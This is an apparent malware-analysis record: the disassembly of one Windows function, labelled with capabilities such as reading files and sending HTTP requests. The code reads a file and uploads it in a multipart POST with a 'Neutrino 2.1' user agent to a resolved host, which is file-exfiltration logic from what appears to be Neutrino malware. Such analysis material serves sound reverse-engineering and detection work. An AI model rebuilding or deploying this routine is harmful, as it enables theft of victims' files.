Function at 0x40351c
Capabilities:
Get file size
Read and send data from client to server
Read file on windows
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc8
push ebx
push esi
push edi
push 0x28
pop ecx
xor ebx, ebx
push ebx
push ebx
mov esi, str.POST__s_HTTP_1.0_r_nHost:__s_r_nUser_Agent:__s_r_nConnection:_close_r_nContent_Length:__d_r_nContent_Type:_multipart_form_data__boundary____________________________d_r_n_r_n
lea edi, [ebp - 0xc8]
rep movsd dword es:[edi], dword [esi]
push 3
push ebx
push ebx
push closesocket
push dword [ebp + 0x14]
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40355d
xor al, al
jmp 0x403719
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call fcn.004054ca
pop ecx
push ebx
lea ecx, [ebp - 0x24]
push ecx
push edi
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x64
call fcn.004054ca
pop ecx
test eax, eax
jne 0x40359d
push dword [ebp - 0x14]
call fcn.004054e1
pop ecx
jmp 0x403556
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x64
mov dword [ebp - 0x20], eax
call fcn.004054ca
push dword [ebp - 0x20]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push str.______________________________d_r_n
push eax
mov dword [ebp - 8], eax
call esi
push 0x400
call fcn.004054ca
mov dword [ebp - 0xc], eax
lea eax, [edi + 0x400]
push eax
call fcn.004054ca
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp - 8]
mov dword [ebp - 0x1c], ebx
push str._sContent_Disposition:_form_data__name_fname__r_n_r_n_s_r_n
push dword [ebp - 0xc]
call esi
push dword [ebp + 0x10]
push dword [ebp - 8]
push str._sContent_Disposition:_form_data__name_data___filename__s__r_nContent_Type:_application_octet_stream_r_n_r_n
push ebx
call esi
add esp, 0x38
push ebx
call fcn.00405d60
push edi
push dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
add eax, ebx
push eax
call fcn.0040549f
add esp, 0xc
push dword [ebp - 0xc]
call fcn.00405d60
push dword [ebp - 8]
mov ebx, eax
call fcn.00405d60
add ebx, dword [ebp - 0x18]
push 0x400
add eax, ebx
lea ebx, [eax + edi + 2]
call fcn.004054ca
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc8]
push ebx
push str.Neutrino_2.1
push dword [ebp + 8]
mov dword [ebp - 0x10], eax
push dword [ebp + 0xc]
push ecx
push eax
call esi
add esp, 0x20
push dword [ebp + 8]
mov byte [ebp - 1], 0
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x4036f3
push eax
call fcn.004025c2
mov ebx, eax
pop ecx
cmp ebx, 0xffffffff
je 0x4036f3
push dword [ebp - 0x10]
call fcn.00405d60
push eax
push dword [ebp - 0x10]
push ebx
call fcn.00402621
add esp, 0xc
push dword [ebp - 0xc]
call fcn.00405d60
push eax
push dword [ebp - 0xc]
push ebx
call fcn.00402621
mov eax, dword [ebp - 0x18]
add eax, edi
push eax
push dword [ebp - 0x1c]
push ebx
call fcn.00402621
mov esi, dword [sym.imp.WS2_32.dll_send]
add esp, 0x18
push 0
push 2
mov edi, 0x407e44
push edi
push ebx
call esi
push dword [ebp - 8]
call fcn.00405d60
push eax
push dword [ebp - 8]
push ebx
call fcn.00402621
add esp, 0xc
push 0
push 2
push edi
push ebx
call esi
push ebx
mov byte [ebp - 1], 1
call dword [sym.imp.WS2_32.dll_closesocket]
push dword [ebp - 0x14]
call fcn.004054e1
push dword [ebp - 0x10]
call fcn.004054e1
push dword [ebp - 0xc]
call fcn.004054e1
push dword [ebp - 0x1c]
call fcn.004054e1
mov al, byte [ebp - 1]
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret